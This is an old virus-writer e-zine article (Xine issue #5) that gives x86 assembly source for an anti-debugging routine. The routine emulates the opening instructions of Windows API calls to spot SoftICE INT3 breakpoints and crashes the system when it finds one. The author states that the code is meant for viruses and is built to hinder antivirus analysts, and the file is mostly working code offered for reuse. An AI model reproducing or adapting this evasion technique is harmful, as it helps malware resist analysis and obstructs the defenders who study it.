Copy Link
Add to Bookmark
Report
Xine - issue #5 - Phile 302
Ú-----------------------------¿
| Xine - issue #5 - Phile 302 |
À-----------------------------Ù
;
; Well, i hope you've read my lil doc about anti debugging.
;
; This code shows how to make it more difficult for AV's to breakpoint
; the API's you use.
;
; *How it works:
;
; *Functional:
;
; Well, a breakpoint (in softice) is just an INT3 on the entry of the
; API. You say 'bpx loadlibrarya' to softice, softice looks in the dlls
; defined in winice.ini for loadlibrarya, and it puts an INT3 there.
;
; The following code looks for an INT3 in the API you call, not only
; on the start of the api, but it traces and emulates into the API,
; so AVs have something more to do.
;
; *Technical:
;
; In your virus you normally have a table, filled up with RVA's of the
; APIs you wanna use. They are all 4 bytes, all are 'apiname dd 0h'.
;
; With this code you have to do it in another way: In stead of
; 'apiname dd 0h', you have 'Apiname equ entrynumber'. Well, entry no.
; is an entry into the api table. 0 is api 0, 1 is api 1, etc.
;
; You use the macro 'calls' in this way: calls apiname. the macro named
; "calls" creates this code:
;
; call stealthcallapi ;the normal sub
; db apinamenumber
;
; So lets say you want to call the 3th entry in your table, because
; it is messageboxa
;
; you have somewhere the equ 'iMessageBoxA equ 3'. You do a
; 'calls iMessageBoxA', and the result is
;
; call stealthcallapi
; db 3
;
; mmm ok? i'm not good at explaining things but i'm doing my best ;)
;
; oki, stealthcallapi checks the byte after the call (so you are
; "limited" to 256 API's ;), it looks up the offset in the table, and
; then it is going to look around a bit into the api code. It emulates
; the found opcode. If the found opcode is an int3, it will halt the
; PC. If the humble disassembler isn't able to disassemble/trace further,
; it will continue to execute the real code of the api at the point
; where it got lost.
;
; it is also possible to call a normal routine, using callapi, and in
; eax you have to put the offset of the code you wanna execute.
;
; *Weak point(s)
;
; AV can breakpoint on the place where the tracer returns to the real
; API code. Not very dangerous, but he can look for the return add. on
; the stack, to breakpoint after the stealthcallapi-call. So it can be
; smart to do a checksum of your code everytime you call stealthcall
; api (insert the checksum code there). With checksumming you can find
; INT3's in your code, and crash it...
;
; mmm.. i hope you understood it ;)
;
; lifewire / being a proud member of IKX
.386p
.model flat
extrn ExitProcess:PROC;
extrn GetModuleHandleA:proc;
extrn GetLastError:proc;
calls macro function ;api stealth macro
call stealthcallapi
db function
endm
LoadLibraryA equ 0
GetProcAddress equ 1
;----------------------------------------------------------------------------;
_CODE segment dword use32 public 'CODE'
start:
int 3
xor ebp,ebp
push offset namepje
calls LoadLibraryA
push offset nametoimport
push eax
calls GetProcAddress
push 0
push offset namepje
push offset namepje
push 0
call callapi ;messageboxa
int 3
Push 0
Call ExitProcess
namepje db "user32.dll",0 ;name of dll to loadlib.
nametoimport db "MessageBoxA",0 ;name of api to call
db "LW-AT-"
db (offset endtracer-offset stealthcallapi)/100 mod 10 + "0"
db (offset endtracer-offset stealthcallapi)/010 mod 10 + "0"
db (offset endtracer-offset stealthcallapi)/001 mod 10 + "0"
;----------------------------------------------------------------------------;
;
; Works a lil like VxDCall works:
;
; Needs function byte after the call... when called, esp points to the return
; address so its quite easy to get it.
;
; And this one gets the address of the api & calls 'callapi' with the address
;
stealthcallapi:
mov eax,[esp] ;return adress
inc dword ptr [esp] ;increase return add
movzx eax,byte ptr [eax]
mov eax,dword ptr [ebp+apitbl+eax*4]
;----------------------------------------------------------------------------;
;
; This routine emulates a part of the api that is called, so BPX's at API's
; (e.g. BPX GetModuleHandleA) will be caught... and often something as
; BPX GetModuleHandleA+1 too... until the emulated opcode isn't understandable
; for the emulator... then it 'jmps' to the offset inside the API where the
; emulator got lost...
;
; It emulates pretty long, in NT, 9x, 2k & ME an average of 5 instructions.
; not bad for such small code, erh?
;
; use it in your own code too, its annoying for AV's I hope :)
;
; (Breaking API's is less easy, your source looks good or even better, and
; the result is even anti disassembling/debugging because the calls don't
; really return after the call opcode, and even while tracing in softice
; it sucks because you can't just press f10:)
;
; emulates the most common opcodes you find at the start of an API:
;
; sub reg32,samereg32 (often used to zero a reg (EDX) for SEH)
; push reg32 (often a push edi)
; push byte
; push dword (often the address of a SEH-handler)
; mov reg32,reg32 (often ebp,esp, and more)
; nop
; int 3 (if found it's time to crash)
; mov dword ptr fs:[reg32],esp (SEH)
; push dword ptr fs:[reg32] (SEH)
;
;
;
; Needs EAX : START OF CODE
;
callapi:
mov ecx,ebp
lea ebp,[ebp+regstate]
mov [ebp+3*4],ebx ;save the preserved registers:
mov [ebp+5*4],ecx ;ecx=ebp ;ebx,esi,edi and ebp
mov [ebp+6*4],esi
mov [ebp+7*4],edi
traceapi:
mov [ebp+4*4],esp ;only esp isn't emulated but
movzx ebx,word ptr [eax] ;real..
cmp bl,02bh
je subsomething
cmp bl,50h ;push reg = 50 .. 57
jb WeAreLost ;push byte = 6a
;push dwor = 68
cmp bl,58h
jb pushregister
cmp bl,6ah
je pushbyte
cmp bl,68h
je pushdword
cmp bl,08bh
je movreg
cmp bl,90h
je nopje
cmp bl,0cch ;wooh ;) a breakpoint
je killhim
cmp bl,064h
je maybesomethingwithseh
jmp WeAreLost
pushregister:
movzx ebx,bl
sub bl,50h
push dword ptr [ebp+ebx*4]
inc eax
jmp traceapi
pushbyte:
movzx ebx,bh ;ebx = dword<-byte to push
push ebx
inc eax
inc eax
jmp traceapi
pushdword:
push dword ptr [eax+1]
add eax,5
jmp traceapi
nopje:
inc eax
jmp traceapi
killhim: ;bye bye av
xor eax,eax
mov fs:[eax],eax
xor esp,esp ;doesn't reveal too much even
jmp esp ;with FAULTS ON (empty stack)
subsomething:
cmp bh,0c0h
jb WeAreLost
mov ch,bh
and ch,111000b
and bh,111b
shr ch,3
cmp bh,ch ;are src- & dst-reg the same?
jne WeAreLost
movzx ebx,bh
xor ecx,ecx
mov dword ptr [ebp+ebx*4],ecx
inc eax
inc eax
jmp traceapi
movreg:
cmp bh,0c0h
jb WeAreLost
mov ch,bh
and ch,111000b
and bh,000111b
shr ch,3
movzx ecx,ch
movzx ebx,bh
push dword ptr [ebp+ebx*4]
pop dword ptr [ebp+ecx*4]
inc eax
inc eax
jmp traceapi
maybesomethingwithseh:
mov bx,word ptr [eax+1]
cmp bl,0ffh
je pushfssetupseh
cmp bx,2289h
jne WeAreLost
mov dword ptr fs:[0],esp
add eax,3
jmp traceapi
pushfssetupseh:
sub bh,30h
cmp bh,8
ja WeAreLost
push dword ptr fs:[0]
add eax,3
jmp traceapi
WeAreLost:
push eax ;eax = place to jmp, but
;eax may have another value
mov eax,[ebp+0*4]
mov ecx,[ebp+1*4]
mov edx,[ebp+2*4]
mov ebx,[ebp+3*4]
mov esi,[ebp+6*4]
mov edi,[ebp+7*4]
mov ebp,[ebp+5*4] ;ofcourse as last!
ret ;place to jmp
endtracer:
;----------------------------------------------------------------------------;
;fill in this table with offsets of apis...
;(it is virus orientated)
apitbl:
dd 0bff776d0h ;LoadLibraryA
dd 0bff76da8h ;GetProcAddress
regstate db 8 dup (012h,34h,56h,78h)
apiend:
_CODE ends
;----------------------------------------------------------------------------;
;----------------------------------------------------------------------------;
_DATA segment dword use32 public 'DATA'
fill db ?
_DATA ends
;----------------------------------------------------------------------------;
end start
end